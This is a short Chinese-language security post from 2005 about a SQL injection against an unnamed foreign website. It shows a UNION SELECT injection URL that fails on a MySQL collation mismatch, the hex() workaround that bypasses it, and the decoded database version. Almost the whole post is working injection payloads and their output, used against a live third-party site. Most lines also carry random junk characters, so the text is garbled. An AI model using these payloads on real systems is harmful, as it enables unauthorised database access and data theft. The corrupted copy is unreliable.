本文作者:SuperHei
6 y& e1 [3 N5 [6 ?文章性质:原创+ C }+ G3 S' B5 p
发布日期:2005-10-18
; c0 U/ _1 T( V9 i: E测试个国外的站时:
5 F( d4 o2 T. J$ v4 q& P$ X8 Zurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
; Z! Q7 r) s$ ~7 G" Y返回错误:; Y0 P# d4 {9 G j
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
* D, I9 V/ ?4 s# [2 t) B5 s2 AMySQL Error No. 126
, ^: x: y6 U& s看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
* F6 K% O9 T" I解决办法:转为其他编码如hex。
" q/ Z) C& M7 x* {url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*! ^, V7 W+ p ^ b# b
成功得到hex(version())的值为:+ g, t5 n1 y5 X# \. x
342E312E332D62657461
- V8 V% a. d% p4 i回Mysql查询下得到:
6 P, u+ J/ s: ^) w4 ]& qmysql> select 0x342E312E332D62657461;
# S+ A9 ?4 d2 \. `% K! k" _+------------------------+
3 l9 ]" u, h; V. ~) [5 h/ I| 0x342E312E332D62657461 |2 b. P) C& ~, Y) v7 y8 r3 L
+------------------------+* }+ E8 @ [) V# L3 d3 t
| 4.1.3-beta |3 D# j$ c* M3 C1 J
+------------------------+
. i& d8 E8 A& |1 row in set (0.00 sec)1 X$ G y: d2 m" Q& C, ~# \, i! h
) a$ s, ] s) t( W. R S' U) Q
|